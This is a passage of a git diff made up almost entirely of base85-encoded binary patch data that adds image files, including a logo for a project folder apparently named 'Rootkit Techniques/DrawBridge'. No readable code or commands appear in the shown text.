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 literal 0 HcmV?d00001 diff --git a/Linux/Rootkit Techniques/DrawBridge/img/logo.PNG b/Linux/Rootkit Techniques/DrawBridge/img/logo.PNG new file mode 100644 index 0000000000000000000000000000000000000000..141698c7c9818bc239a13a9a51902f3eab19b76d GIT binary patch literal 8928 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 